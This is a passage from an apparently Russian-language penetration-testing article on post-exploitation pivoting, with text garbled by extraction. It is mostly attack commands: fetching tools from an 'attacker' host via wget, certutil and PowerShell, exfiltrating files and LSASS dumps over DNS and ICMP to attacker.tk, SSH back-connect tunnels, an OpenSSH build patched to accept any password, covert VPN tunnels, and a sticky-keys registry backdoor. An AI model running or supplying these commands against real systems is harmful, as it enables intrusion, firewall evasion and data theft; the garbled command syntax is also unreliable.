с исполь зовани ем bash:

attacker> nc   ‐nv ‐lp 1234 < file 
victim   3<$> exec  > /dev/tcp/10.0.0.1/1234 
victim  $> cat <&3 > file 

Ра зуме ется, мы можем выпол нить переда чу фай лов и в обратном поряд ке —
от victim к attacker.

Эксфильтрация через SMB
Са мый прос той вари ант переда чи фай лов под Windows. Для быс тро го запус‐ 
ка SMB‐сер вера исполь зуем Python‐пакет  :impacket

attacker> sudo smbserver.py ro /usr/share/windows‐binaries/ 
victim o$> copy \\attacker\r \nmap.exe 

Эксфильтрация через HTTP
А  это —  самый  прос той  вари ант  переда чи фай лов  под  Linux.  Для  быс тро го
стар та веб‐сер вера в текущей пап ке исполь зуем встро енный модуль Python:

attacker> python ‐m SimpleHTTPServer 8080 
victim$> wget http://attacker/socat ‐O /tmp/socat 

Час то HTTP — единс твен ное окно в мир из DMZ, и в Windows тоже при ходит ся
им  поль зовать ся,  при чем  раз ными  спо соба ми.  Наибо лее  уни вер саль ный,
но не самый кра сивый метод выг лядит так:

victim$> hh.exe http://attacker/nmap.exe.txt 
victim     sers ictim ocal$> cd \u \v \appdata\l \microsoft\windows\
victim  $> dir /s nmap.exe*
victim  $> cd путь_до_папки 
victim$> move nmap.exe[1].txt nmap.exe 

Этот спо соб под разуме вает отправ ку фай ла любого содер жимого, но с рас‐ 
ширени ем  . Если на уда лен ном хос те уста нов лена Windows 7 или новее,
про ще исполь зовать PowerShell:

.txt

victim  
,

$> powershell ‐c (new‐object System.Net.WebClient).DownloadFile
('http://attacker/nmap.exe' 'C:\users\victim\desktop\nmap.exe')

Кро ме  того,  если  на  хос те  кру тит ся  более‐менее  све жая Windows  7,  мож но
исполь зовать  очень  полез ную  ути литу,  к  которой  мы  чуть  поз же  вер немся
еще не раз:

victim    $> certutil ‐urlcache ‐split ‐f http://attacker/nc.exe.txt nc.
exe.txt 

По мимо  опи сан ных  методов,  сущес тву ет  еще  нес коль ко,  вклю чая  заг рузку
с помощью VBS или PowerShell, одна ко они более гро моз дки и исполь зуют ся
на прак тике нечас то.

Эксфильтрация с использованием FTP
Спо соб хорошо под ходит для Windows в слу чаях, ког да SMB‐пор ты филь тру‐ 
ются.  Час то  во  внут ренних  сетях  меж ду  VLAN'ами  адми ны  филь тру ют  пор‐ 
ты  445/TCP,  что  добав ляет  ата кующе му  проб лем.  Изба вить ся  от  них  мож но
при  помощи  ста рого  доб рого  про токо ла  FTP.  Для  запус ка  FTP‐сер вера
в текущей пап ке исполь зуем Python‐пакет  :pyftpdlib

attacker>   21 sudo python ‐m pyftpdlib ‐p

Пос коль ку  прог рамма  FTP  инте рак тивная,  на  victim  пот ребу ется  соз дать
неболь шой скрипт с коман дами:

victim  $> echo open attacker 21 > ftp.txt 
victim  $> echo anonymous>> ftp.txt 
victim  $> echo pass>> ftp.txt 
victim   bin $> echo  >> ftp.txt 
victim  $> echo GET nmap.exe >> ftp.txt 
victim   bye $> echo  >> ftp.txt 
victim  ftp $> ‐s:ftp.txt 

Об рати вни мание: при переда че логина и пароля про бел отсутс тву ет.

Эксфильтрация с помощью TFTP
Дос таточ но экзо тичес кий спо соб переда чи фай лов, одна ко упо мянуть о нем,
навер ное, сто ит. Для запус ка TFTP‐сер вера мож но исполь зовать клас сичес‐ 
кий  , а мож но Python‐пакет  .atftpd ptftpd

attacker> sudo ptftpd ‐p 69 eth0 .
victim#> pkgmgr /iu:TFTP; tftp.exe ‐i 10.0.0.10 GET nc.exe 
victim$> tftp attacker get /nc 

Эксфильтрация через ICMP
Ес ли весь TCP зап рещен, на помощь при дет про токол ICMP. Этот метод под‐ 
ходит  для  эксфиль тра ции,  то  есть  толь ко  для  переда чи  дан ных  в  одну  сто‐ 
рону — в сто рону attacker. Под Linux это мож но сде лать отно ситель но прос то:

victim  xxd    line   ping   1   
 

$> ‐p ‐c 4 secret.bin | while read  ; do  ‐c ‐p
$line attacker; done

В при веден ном  выше  при мере мы  переда ем  толь ко  4  бай та  за  один  пакет.
Под Windows для это го исполь зуем PowerShell и любой из кучи готовых 

 в интерне те.
скрип‐ 

тов

Эксфильтрация через DNS
Ес ли  дело  дош ло  до  DNS,  зна чит,  на  ата куемом  хос те  филь тру ется  все.
Или поч ти все. Любая изо лиро ван ная внут ренняя сеть как‐то вза имо дей ству‐ 
ет  с  внеш ним миром —  с  интерне том,  нап ример,  для  заг рузки  обновле ний
или  отправ ки  элек трон ной  поч ты.  Поэто му  DNS  поч ти  всег да  работа ет
на резолв внеш них адре сов. Очень час то ник то не замора чива ется сос тавле‐ 
нием  белого  спис ка  допус тимых  доменов,  так  что  мы  получа ем  впол не
рабочий канал переда чи дан ных в обе сто роны.

Для эксфиль тра ции и инфиль тра ции через DNS вос поль зуем ся готовы ми
. Здесь и во всех пос леду ющих раз делах о DNS под разуме вает ся,

что  мы    себе  зону  .  Запус каем  кас томный  DNS‐
сер вер:

скрип тами
де леги рова ли attacker.tk

attacker>   sudo ./dns_upload.py ‐‐udp ‐‐file dnscat.exe 

За поми наем  количес тво  тре буемых  DNS‐зап росов.  Для  заг рузки  фай ла
по DNS пот ребу ется неболь шой скрипт на VBS, так как он наибо лее перено‐ 
симый  и  будет  работать  на  любой  Windows.  Перед  запус ком  не  забыва ем
скор ректи ровать  количес тво  DNS‐зап росов  в  цик ле  .  Запуск  скрип та
выпол няет ся сле дующим обра зом:

for

victim$> cscript.exe dns_download.vbs 

Нес мотря на то что мы получи ли воз можность ска чать любой файл и можем
вос поль зовать ся готовы ми решени ями вро де  , быва ет, что анти виру сы
пор тят  жизнь,  ког да  нуж но  все го  лишь  заб рать  какой‐нибудь  дамп  LSASS
со ском про мети рован ной машины. Поэто му исполь зуем ана логич ные скрип‐ 
ты для эксфиль тра ции:

dnscat

attacker>   sudo ./dns_download.py ‐‐udp ‐‐file out.bin 
victim ath o$> cscript.exe dns_upload.vbs c:\p \t \secret.bin attacker.tk 

Под Linux дей ству ем таким обра зом:

victim$> ./dns_download.sh attacker.tk 1080 /tmp/dnscat 

Ме тод  с  DNS  всем  хорош,  но  для  переда чи  боль ших  фай лов  он  доволь но
мед ленный.

Эксфильтрация plaintext
Пе редать фай лы в виде прос того тек ста воз можно поч ти всег да. Как пра вило,
если у нас есть шелл, мы можем вста вить в него дос таточ но боль шую пор цию
дан ных, исполь зуя буфер обме на. При этом дан ные дол жны быть пред став‐ 
лены в тек сто вой фор ме. Иног да слиш ком боль шие пор ции дан ных передать
невоз можно. Поэто му  в  зависи мос ти от раз мера переда ваемо го фай ла его
сле дует сна чала раз делить на кус ки необ ходимых раз меров:

attacker>      1 1024split ‐b $[ * *1024] nmap.zip 

В ито ге получат ся n фай лов по 1 Мбайт (как в при мере), начина ющиеся на  .
В качес тве метода тран сфор мации будем исполь зовать Base64:

x*

attacker>   base64 ‐w 0 < xaa > xaa.txt 

Под  Linux  пос ле  завер шения  переда чи  кус ки  фай ла  могут  быть  соеди нены
вмес те:

victim   i  x       .txt  $> for  in  *; do base64 < $i > $i ; done
victim   x .txt $> cat  * > nmap.zip 

Го тово, файл соб ран из кусоч ков. В Windows все не так прос то и для решения
ана логич ной  задачи  сущес тву ют  раз ные  при емы.  Вот  клас сичес кий  спо соб,
под ходящий для раритет ных вер сий Windows:

attacker> wine exe2bat.exe someprog.exe commands.bat 

По лучен ный  на  выходе  bat‐файл  —  это  готовые  коман ды,  пол ностью  сос‐ 
тоящие  из  печат ных  сим волов.  Для  сбор ки  из  тек сто вого  пред став ления  (в
дан ном слу чае Hex) в исходный дво ичный код исполь зует ся встро енный ком‐ 
понент  , который при сутс тву ет толь ко в 32‐бит ных вер сиях Windows
от XP до 7 вклю читель но.

debug.exe

Бо лее сов ремен ный метод, работа ющий на Windows 7–10 и ана логич ных
сер верных редак циях Windows:

victim$> certutil ‐decode content_base64.txt nmap.exe 

В каж дом из упо мяну тых слу чаев мы мог ли стол кнуть ся с тем, что файл приш‐ 
лось  порезать  на  нес коль ко  кус ков.  Что бы  соб рать  получив шиеся дво ичные
кус ки в один файл в Windows, нуж но сде лать сле дующее:

victim  $> type xaa.bin xab.bin xac.bin > 1.exe 

А если, наобо рот, надо выг рузить с victim на attacker дво ичные фай лы боль‐ 
шого  раз мера,  нап ример  дамп  памяти?  Про ще  все го  порезать  файл  будет
с  помощью  7zip  (который  не  тре бует  уста нов ки  и  может  быть  дос тавлен
на машину с помощью двух фай лов:   и  ):7z.exe 7z.dll

victim$> 7z a ‐v1m out.7z hugefile.bin 

За тем получен ные бинар ные кус ки могут быть закоди рова ны в Base64:

victim$> certutil ‐encode 1.bin 1.txt 

И переда ны по соот ветс тву юще му каналу.
Итак,  с  проб лемой  дос тавки  фай лов  разоб рались.  Теперь  мы  можем

передать  все  необ ходимые  прог раммы,  которые  пот ребу ются  нам  даль ше.
Под  Windows  будем  отда вать  пред почте ние  portable‐вер сиям.  Под  Linux
пред полага ется  исполь зовать  ста тичес ки  соб ранные  прог раммы,  что бы
избе жать  проб лем  с  вер сиями  биб лиотек.  Так  как  ском про мети рован ным
может  быть  не  толь ко  сер вер,  но  и  какой‐нибудь  роутер  или  иной  девайс,
желатель но иметь ста тичес ки соб ранные бинар ники под раз ные архи тек туры,
хотя бы самые популяр ные: x86, ARM и MIPS.

ПРОБРОС ПОРТОВ
На вер ное,  самое  прос тое  в  pivoting’е —  это  проб росить  куда‐нибудь  порт.
Вари антов  такого  проб роса  дос таточ но мно го. На  самом деле  для  прос тых
проб росов пор тов будет дос таточ но замеча тель ной ути литы  :socat

victim$> socat.exe tcp‐listen:4445,fork tcp‐connect:target:445 

Прос той проб рос пор тов

Прог рамма socat,  кста ти, пор тирова на из Linux, поэто му  там ее тоже мож но
задей ство вать,  исполь зуя  абсо лют но  ана логич ный  син таксис.  Вооб ще,  воз‐ 
можнос ти  socat  гораз до  шире,  чем  прос той  редирект.  К  этой  ути лите  мы
еще вер немся.

Ес ли на ском про мети рован ной машине у ата кующе го есть пра ва адми нис‐ 
тра тора  или  root,  то  редирект  мож но  выпол нить  средс тва ми  фай рво ла.
На Windows это дела ется так:

victim#> netsh interface portproxy add v4tov4  4445 listenport=
listenaddress=victim 

445 connectport= connectaddress=target 

На Linux так:

victim#> iptables   nat   tcp ‐t ‐A PREROUTING ‐p ‐‐dport 4445 ‐j DNAT 
‐‐to‐destination target:445 

Local port forwarding
Го воря о проб росе пор тов, нель зя прой ти мимо SSH, который пред став ляет
собой  дос таточ но  гиб кое  решение  и  час то  исполь зует ся  для  этой  цели.
На самом деле SSH выпол няет не сов сем обыч ный редирект. Он соз дает тун‐ 
нели,  поз воляя  пов торно  исполь зовать  соеди нение —  проб расывать  новое
сетевое  соеди нение  внут ри  дру гого,  уже  уста нов ленно го.  При меча тель но,
что и сер вер, и кли ент могут выс тупать в роли зве на, выпол няюще го проб рос.

Под разуме ваем,  что  на  victim  запущен  SSH‐сер вер,  вне  зависи мос ти
от того, какая ОС там исполь зует ся. Проб рос выпол няет ся сле дующим обра‐ 
зом:

attacker> ssh ‐N user@victim ‐L 4445:target:445 

Проб рос пор тов с исполь зовани ем SSH

Remote port forwarding
Remote  port  forwarding  отли чает ся  от  локаль ного  проб роса  лишь  тем,  что
сама  про цеду ра  выпол няет ся  с  SSH‐сер вера.  В  этом  слу чае  нап равле ние
проб роса будет про тиво полож ным уста нов ленно му SSH‐под клю чению.

Remote port forwarding может при годить ся, если нуж но орга низо вать канал
эксфиль тра ции  с  victim  через  attacker.  Нап ример,  что бы  уста новить  нуж ные
пакеты,  ска чав  их  через  прок си  на  изо лиро ван ном  от  интерне та  ском про‐ 
мети рован ном  хос те.  Но  чаще  Remote  port  forwarding  при меня ется,  если
на  victim  не  запущен SSH‐сер вер или филь тру ется  порт. В  таком слу чае мы
можем все так же проб росить порт с attacker, но уже по ини циати ве victim.

Спер ва  запус тим  SSH‐сер вер  у  себя  и  соз дадим  фик тивную  учет ную
запись:

attacker> sudo /etc/init.d/ssh start 
attacker> useradd     ‐M ‐N ‐d /dev/null ‐s /bin/false proxy 
attacker> passwd proxy 

Что бы неин терак тивно залоги нить ся по SSH, исполь зуем клю чи:

victim  $> chown user priv_key 
victim  $> chmod 0400 priv_key 

А теперь соз даем проб рос по схе ме back‐connect:

victim  ssh     
no 

$> ‐i priv_key proxy@attacker ‐N ‐R 4445:target:445 ‐o
StrictHostKeyChecking=

Проб рос по схе ме back‐connect

По доб ный спо соб так же поможет обой ти фай рвол или NAT. В Windows, где ты,
ско рее все го, не встре тишь SSH‐сер веры, нам тоже при дет ся исполь зовать
Remote port forwarding, при менив для это го пор татив ный кли ент:

victim> plink.exe   
 22 

‐N ‐l proxy ‐pw passwd ‐R 4445:target:445 attacker 
‐P

В  ито ге  получа ем  кон фигура цию,  иден тичную  той,  что  показа на  на  рисун ке
выше. На кар тинке вид но, что в слу чае c Local Port Forwarding роль проб роса
игра ет кли ент, а при Remote Port Forwarding — сер вер.

Ра ботая с  , мы  так же можем выпол нять проб росы, исполь зуя
соеди нение  меж ду  victim  и  attacker,  то  есть  орга низо вать  тун нелиро вание.
Что бы  пос тро ить  тун нель  attacker:4445 →  victim →  target:445,  дела ем  сле‐ 
дующее:

metasploit

meterpreter> portfwd add   445 ‐L 127.0.0.1 ‐l 4445 ‐r target ‐p

Для  орга низа ции  тун неля  victim:6666 →  attacker →  target:8888  выпол няем
сле дующую коман ду:

meterpreter> portfwd add   ‐R ‐L target ‐l 8888 ‐p 6666 

Обход сразу двух файрволов
Ата кующим час то при ходит ся стал кивать ся с хорошо изо лиро ван ными VLAN,
ког да attacker и  victim находят ся в раз ных сетях за фай рво лом или NAT и не
могут нап рямую уста нав ливать соеди нения ни в ту, ни в дру гую сто рону.

Attacker и victim находят ся в раз ных сетях за фай рво лом или NAT

Ни какой reverse shell или SSH‐тун нели нам тут не помогут. В качес тве аль тер‐ 
нативы  мож но  орга низо вать  дос туп  на  «тре тий»  хост  из  дру гого  VLAN,
на который оба могут ини цииро вать TCP‐соеди нение.

Ор ганиза ция соеди нения через тре тий хост

Най ти  такой  хост  обыч но  не  сос тавля ет  проб лемы.  Разуме ется,  этот  самый
тре тий хост точ но так же не может пре одо леть фай рвол и дос тучать ся до at‐
tacker или victim. Для решения этой задачи исполь зуем сле дующий трюк:

third$> socat tcp‐listen:5555 tcp‐listen:6666 
victim$> socat tcp‐connect:third:6666 tcp‐connect:target:22 

Ор ганиза ция соеди нения с исполь зовани ем про межу точ ного хос та

Важ но  ини цииро вать  пер вое  под клю чение  к  ,  пос коль ку 
выпол няет вто рую полови ну опе раций с сокета ми  ( )  пос ле
уста нов ки  соеди нения  .  В  ито ге  получа ется,  что  два  вхо‐ 
дящих  соеди нения  свя зыва ются  через  pipe,  и  через  этот  pipe  может  пой ти
тра фик в обход сра зу двух фай рво лов или NAT.

5555/tcp socat
tcp‐listen:6666

tcp‐listen:5555

Схе ма обхо да фай рво лов и NAT

В резуль тате мы получи ли дос туп  к пор ту 22 на машину  target,  которая пря‐ 
талась за фай рво лом.

Продолжение статьи →
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dns2tcp
Те перь  рас смот рим  тяжелый,  но  все  же  доволь но  харак терный  слу чай:
из  ском про мети рован ной  сети  нет  дос тупа  в  интернет.  При дет ся  сно ва
исполь зовать DNS.

Ути лита   име ет вер сии для Windows и Linux и исполь зует похожий
на  SSH  син таксис  проб роса  пор тов.  На  сер верной  сто роне  у  attacker
в dns2tcpdrc мы ука зыва ем сле дующие нас трой ки:

dns2tcp

listen = 1.2.3.4 
port   53 =
user = nobody 
key = s3cr3t 

 chroot = /var/empty/dns2tcp/ 
domain = attacker.tk 

За пус каем:

attacker>     sudo ./dns2tcpd ‐F ‐d3 ‐f dns2tcpdrc 

Ко пиру ем на victim кли ент скую часть. Для проб роса тра фика по мар шру ту vic‐
tim:4444  →  attacker  →  target:5555  запус каем  ути литу  со  сле дующи ми
парамет рами:

victim  3 $> dns2tcpc.exe ‐z attacker.tk ‐k s3cr3t ‐t ‐L 4444:target:
5555 8.8.8.8 

Для проб роса по мар шру ту attacker:4445 → victim → target:445 запус каем тул‐ 
зу так:

victim  3 $> dns2tcpc.exe ‐z attacker.tk ‐k s3cr3t ‐t ‐R 4445:target:
445 8.8.8.8 

Те перь  через  дан ный  тун нель  мож но  орга низо вать  прок си  или  проб росить
сес сию meterpreter и забыть об отсутс твии интерне та. Дви гаем ся даль ше.

ПРОКСИРОВАНИЕ
Проб рос  пор тов  име ет  одно  малень кое  огра ниче ние:  это  ста тичес кая  опе‐ 
рация, и мы дела ем отдель ный проб рос для каж дой связ ки  . Как пра‐ 
вило, это нуж но лишь на началь ной ста дии, что бы обой ти фай рвол. Но если
надо орга низо вать более пол ноцен ный и удоб ный дос туп в сетевой сег мент
через ском про мети рован ную машину, исполь зует ся прок си.

ip:port

3proxy
В  прос тых  ситу ациях  нет  ничего  луч ше,  чем  исполь зовать  .  Ути литы
из  это го  набора  прог рамм  пор татив ные,  они  не  тре буют  уста нов ки  и  прав
адми нис тра тора.  Тул зы  прек расно  работа ют  как  на Windows,  так  и  на  Linux
и  лег ко  кросс‐ком пилиру ются. Для  запус ка SOCKS прок си‐сер вера  исполь‐ 
зуют ся сле дующие коман ды (под Linux и Windows соот ветс твен но):

3proxy

victim  $> ./socks ‐d ‐p3128
victim  $> socks.exe ‐d ‐p3128

Для запус ка HTTP connect прок си‐сер вера исполь зуют ся сле дующие коман‐ 
ды (под Linux и Windows соот ветс твен но):

victim  $> ./proxy ‐d ‐p8080
victim  $> proxy.exe ‐d ‐p8080

Ес ли анти вирус съел 3proxy, мож но поп робовать ути литу из набора  :Nmap

victim  $> ncat.exe ‐vv ‐‐listen 3128 ‐‐proxy‐type http 

Ес ли не помог ло, то перехо дим к SSH.

SSH
Воз вра щаясь  к  SSH,  нуж но  упо мянуть  один  упу щен ный  ранее момент.  Если
тебе не уда лось получить при виле гии root на ском про мети рован ной машине,
сра зу  же  воз ника ет  ряд  проб лем.  Во‐пер вых,  мы  дол жны  знать  пароль
от текущей учет ки, который известен далеко не всег да. Во‐вто рых, если SSH
не  запущен,  то  его  запуск  пот ребу ет  прав  root.  Все  это,  к  счастью,  мож но
испра вить сле дующим обра зом:

attacker> git clone https://github.com/openssh/openssh‐portable 

Пат чим фун кции, отве чающие за аутен тифика цию:

   int auth_shadow_pwexpired(Authctxt *ctxt){
     return 0;
}

           int sys_auth_passwd(struct ssh *ssh, const char *password){
     return 1;
}

Те перь собира ем  тул зу — желатель но ста тичес ки,  что бы избе жать проб лем
с зависи мос тями:

attacker> autoreconf 
attacker> LDFLAGS='‐static' ./configure ‐‐without‐openssl
attacker> make 
attacker> ./ssh‐keygen 

Слег ка меня ем кон фиг  :sshd_config

Port 2222 
HostKey /path/to/here/ssh_host_rsa_key 

Ко пиру ем и запус каем ути литу на victim:

victim  $> $(pwd)/sshd ‐f sshd_config 

Те перь  SSH‐сер вер  смо жет  работать  в  роли  прок си‐сер вера  без  прав  root
и залоги нить ся на него мы смо жем с любым паролем.

На  Windows,  где  сер вер  SSH  обыч но  отсутс тву ет,  мож но  исполь зовать
, который будет работать в роли прок си‐сер вера. Прав да, для это го

нам  все  же  пот ребу ются  пра ва  адми нис тра тора.  FreeSSHd —  это  отличная
аль тер натива 3proxy и meterpreter, ког да анти вирус не дает запус тить ничего
подоз ритель ного.

freeSSHd

Рас смот рим  типич ный  при мер  про хож дения  сетево го  перимет ра.  Вооб‐ 
разим, что получен дос туп к сер веру из DMZ. На такие сер веры обыч но проб‐ 
расыва ются толь ко нуж ные пор ты, а зна чит, нап рямую на прок си мы не под‐ 
клю чим ся. Вспо мина ем про тун нелиро вание пор тов:

victim  ssh $> ‐N proxy@attacker ‐R 2222:victim:22 

Те перь    будет  проб рошен на  .  Через  этот  тун нель
мы орга низу ем прок си:

attacker:2222 victim:22

attacker> ssh ‐ND 127.0.0.1:3128 127.0.0.1 ‐p2222

Ес ли  все  прош ло  успешно,  то  на  attacker  появит ся  SOCKS‐прок си  на  TCP‐
пор те 3128. По сути, это тун нель внут ри тун неля.

SOCKS‐прок си в качес тве «тун неля внут ри тун неля»

Ес ли  проб лем  с  анти виру сами  нет,  мож но  вос поль зовать ся  Metasploit,
это будет нем ного про ще:

meterpreter> run autoroute ‐s 10.0.0.0/8 
msf> use auxiliary/server/socks4a 

Используем прокси
Что бы исполь зовать прок си на сто роне ата кующе го, мы можем:

ука зать  в  нас трой ках  кон крет ной  прог раммы  адрес  прок си  (тут  есть
минус — не все при ложе ния под держи вают прок си);

•

при нуди тель но  прок сировать  любое  при ложе ние  (это  называ ется  «сок‐ 
сифика ция»).

•

Сок сифика цию мож но орга низо вать сле дующей коман дой:

attacker> proxychains nmap     ‐sT ‐Pn ‐n 192.168.0.0/24 

Этот  вари ант  под ходит  поч ти  для  любого  при ложе ния,  даже  для  такого,
которое не под держи вает нас трой ку прок си, так как под меня ет биб лиотеч ные
вызовы  ,   и  . Одна ко и тут есть нюан сы: прок сирова‐ 
ние  не  под держи вают  прог раммы,  генери рующие  пакеты  через  raw‐сокеты
или не исполь зующие биб лиоте ку libc (то есть ста тичес ки соб ранные).

connect() send() recv()

Кро ме  того,  мы  можем  делать  проз рачное  прок сирова ние,  для  чего
исполь зует ся прок си redsocks. Для его нас трой ки про писы ваем в 

 сле дующее:
/etc/red‐

socks.conf

local_ip = 127.0.0.1;
local_port = 12345;
ip = 127.0.0.1;
port   3128= ;

Пос ле это го мож но запус тить прок си:

attacker>   nat   tcp sudo iptables ‐t ‐A OUTPUT ‐p ‐d 10.0.0.0/8 ‐j 
REDIRECT —to‐ports 12345 
attacker> sudo redsocks ‐c /etc/redsocks.conf 
attacker> nmap     ‐sT ‐Pn ‐n 10.0.0.0/24 

Те перь можем нап рямую посылать пакеты в инте ресу ющую нас сеть. Iptables
проз рачно  для  нас  перех ватит  их  и  нап равит  на  redsocks,  который,  в  свою
оче редь,  нап равит  пакеты  непос редс твен но  на  прок си‐сер вер.  Одна ко
исполь зование  raw‐сокетов  по‐преж нему  недопус тимо,  потому  что  они
генери руют ся за пре дела ми iptables и мар шру тиза ции.

Прок сирова ние все же име ет некото рые недос татки:
прок сиру ются толь ко уров ни OSI выше чет верто го;•
ско рость новых соеди нений невысо ка — пор ты будут ска ниро вать ся мед‐ 
ленно;

•

прок сиру ются в основном TCP‐пакеты.•

От всех этих проб лем нас изба вит пол ноцен ный VPN‐тун нель.

VPN-ТУННЕЛИ
VPN‐тун нели приз ваны обес печить ата кующе му пол ноцен ный дос туп во внут‐ 
реннюю  сеть  или  изо лиро ван ный  VLAN  и  открыть  воз можность  для  даль‐ 
нейше го  ком фор тно го  прод вижения.  Все  при меры  исполь зования  тун нелей
тре буют прав адми нис тра тора или root.

VPN-туннель через TCP в одну команду (L3-туннель)
В  Linux  мы  можем  очень  эле ган тно  под нять  тун нель,  не  исполь зуя  нас тра‐ 
иваемый VPN‐сер вер:

attacker> sudo pppd noauth pty 'nc ‐klp 5555'
victim#> pppd noauth persist pty 'nc attacker 5555' 172.16.0.1:172.
16.0.2 

Тун нель соз дан. Теперь, что бы прев ратить victim в gateway, нуж но про делать
сле дующее:

victim#>  1 echo  > /proc/sys/net/ipv4/ip_forward 
victim#> iptables   nat ‐t ‐A POSTROUTING ‐o eth0 ‐j MASQUERADE 

Го тово,  c  это го момен та мы можем нап равлять  тра фик  во  внут реннюю сеть
как есть, исполь зуя толь ко роутинг:

attacker> sudo route add ‐net 10.0.0.0/8 dev tun0 

Сто ит  отме тить,  что,  исполь зуя  ,  мы  можем  соз давать  тун нель  по  ини‐ 
циати ве  любой  из  сто рон  (victim  или  attacker).  Это  зна чит,  что  мы  получи ли
воз можность  обой ти  проб лемы  с  меж сетевы ми  экра нами.  Для  работы  тре‐ 
бует ся под дер жка ядра (модуль  ).

pppd

ppp_generic
А вот еще один спо соб под нять тун нель, исполь зуя IPIP:

attacker> sudo ip tunnel add tun0 mode ipip remote victim local 
attacker dev eth0 
attacker> sudo ifconfig tun0 172.16.0.2/30 pointopoint 172.16.0.1 
victim#> ip tunnel add tun0 mode ipip remote attacker local victim 
dev eth0 
victim#> ifconfig tun0 172.16.0.1/30 pointopoint 172.16.0.2 

VPN туннель через SSH (L2/L3-туннели)
Ес ли на victim или attacker есть SSH‐сер вер, то это го дос таточ но, что бы соз‐ 
дать VPN. Спер ва нуж но раз решить под клю чение в  :/etc/ssh/sshd_config

PermitTunnel point‐to‐point 

Пос ле это го мож но соз дать под клю чение:

attacker>  ssh   0:0 sudo  ‐N tun@victim ‐w
attacker> sudo ifconfig tun0 172.16.0.1/30 pointopoint 172.16.0.2 
victim#> ifconfig tun0 172.16.0.2/30 pointopoint 172.16.0.1 
attacker> sudo route add ‐net 10.0.0.0/8 dev tun0 
victim#>  1 echo  > /proc/sys/net/ipv4/ip_forward 
victim#> iptables   nat ‐t ‐A POSTROUTING ‐o eth0 ‐j MASQUERADE 

Для  орга низа ции  дос тупа  в  сеть  L3‐тун неля  будет  дос таточ но.  Но  если  мы
хотим  не  прос то  прос каниро вать  пор ты,  а  выпол нять  ата ки,  такие
как  ARP/NBNS/DHCP‐spoofing,  то  пот ребу ется  L2‐тун нель.  Для  это го  про‐ 
писы ваем в   сле дующее:/etc/ssh/sshd_config

PermitTunnel ethernet 

Пе реза пус каем SSH‐сер вер и выпол няем под клю чение:

attacker>   sudo ssh root@victim ‐o Tunnel=ethernet ‐w any:any 
victim#> brctl addbr br0; brctl addif br0 eth0; brctl addif br0 tap0;
ifconfig eth0 0 promisc; ifconfig br0 10.0.0.70/24 

attacker> sudo dhclient tap0 

Как  всег да,  с  L2‐тун нелями нуж но быть очень осто рож ным: из‐за малей шей
ошиб ки при соз дании мос тов уда лен ная машина уйдет в веч ный офлайн.

VPN-туннели на Windows
Windows из короб ки тоже под держи вает VPN (в вари анте PPTP/L2TP). Более
того,  управлять  мож но  из  коман дной  стро ки  бла года ря  встро енно му  ком‐ 
понен ту:

victim#> rasdial.exe netname username * /phonebook:network.ini 

Кон фиг для   выг лядит сле дующим обра зом:network.ini

[netname]
MEDIA=rastapi
Port=VPN9‐0
DEVICE=rastapi
PhoneNumber=attacker

От клю чают VPN‐соеди нения сле дующей коман дой:

victim#> rasdial netname /disconnect 

Не сто ит забывать про клас сичес кий OpenVPN, который прек расно работа ет
и  на  Linux,  и  на  Windows.  При  наличии  прав  адми нис тра тора  его  исполь‐ 
зование не дол жно выз вать проб лем.

Так же  дос таточ но  экзо тичес кий,  но  дей ствен ный  спо соб  L2‐тун нелиро‐ 
вания на Windows через вир туали зацию был опи сан в  .мо ей прош лой статье

VPN-туннель через ICMP
Ес ли  выход  в  интернет  зап рещен,  но  раз решены  пин ги,  то  мож но  вос поль‐ 
зовать ся    и  в  две  коман ды  соз дать  L3‐тун нель  (   на  attacker
и   на victim):

hans 172.16.0.1
172.16.0.10

attacker> sudo ./hans ‐s 172.16.0.1 ‐p passwd 
victim#> ./hans ‐c attacker ‐p passwd ‐a 172.16.0.10 

Кли ент ская  сто рона  для  Windows  работа ет  ана логич ным  обра зом,  но  для
работы  пот ребу ется  tap‐интерфейс,  который  мож но  соз дать  с  помощью
OpenVPN.

VPN-туннель через DNS
В  пос ледний  раз  воз вра щаем ся  к  DNS.  Если  в  нас трой ках DNS  раз решены
резол вы про изволь ных доменов, что быва ет дос таточ но час то, то с помощью

  мы  можем  соз дать  пол ноцен ный  L3‐тун нель  (   на  attacker
и   на victim):
iodine 172.16.0.1
172.16.0.2

attacker> sudo ./iodined ‐f 172.16.0.1 ‐P passwd attacker.tk 
victim#> ./iodine   ‐f ‐P passwd attacker.tk 

VPN‐тун нели  мож но  орга низо вать  как  нап рямую меж ду  attacker  и  victim,  так
и сочета нием раз ных тех ник проб роса пор тов. Нап ример, мы можем вмес то
DNS‐тун неля iodine исполь зовать сочета ние DNS2TCP + pppd.

Под водя итог под этим раз делом, я бы добавил, что исполь зование VPN‐
тун нелей хоть и дает ком фор тный дос туп в сеть, все же не обя затель ный этап
в про ник новении. Если это нель зя выпол нить лег ко, то тра тить вре мя на траб‐ 
лшу тинг  нецеле сооб разно. Поч ти  всег да дос таточ но  ста рого доб рого прок‐ 
сирова ния тра фика.

ОРГАНИЗАЦИЯ GUI
Очень мно го  проб лем  при  пос тэкс плу ата ции  соз дают GUI‐прог раммы. Нес‐ 
мотря  на  то  что  мы  всег да  пред почита ем  коман дную  стро ку,  от  GUI  невоз‐ 
можно пол ностью изба вить ся.

В  Linux  в  ходе  пос тэкс плу ата ции,  как  пра вило,  край не  ред ко  тре бует ся
GUI —  поч ти  все  прог раммы  име ют CLI‐интерфейс,  а  сис тема  обыч но  выс‐ 
тупа ет в роли сер вера. Да и сама ОС пред лага ет дос таточ но гиб кие решения
для пре дос тавле ния GUI.

Дру гое  дело  с Windows.  У  подав ляюще го  боль шинс тва  прог рамм прос то
нет  кон соль ного  интерфей са.  Нас тра ивают  сис тему  во  мно гом  с  исполь‐ 
зовани ем  GUI.  То  же  отно сит ся  и  к  некото рым  хакер ским  инс тру мен там
под  Windows.  С  одной  сто роны,  в  Windows  всег да  есть  встро енный  RDP
для  уда лен ных  гра фичес ких  сеан сов,  но  с  дру гой —  на  кли ент ских  вер сиях
Windows,  которых  боль шинс тво,  их  исполь зование  при ведет  к  бло киров ке
сеан са  текуще го  поль зовате ля.  Поль зователь  нач нет  в  ответ  выкиды вать
нашу сес сию, и подоб ные «качели» в ито ге вызовут тре вогу у безопас ников.

Быстрая GUI-сессия
Есть  ста рый,  но  безот казный  трюк  под  наз вани ем  sticky  keys,  поз воля ющий
запус кать прог раммы, не выпол няя вхо да в Windows:

victim#> reg add 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\
Image File Execution Options\sethc.exe' /v Debugger /t reg_sz /d '\
windows\system32\cmd.exe'

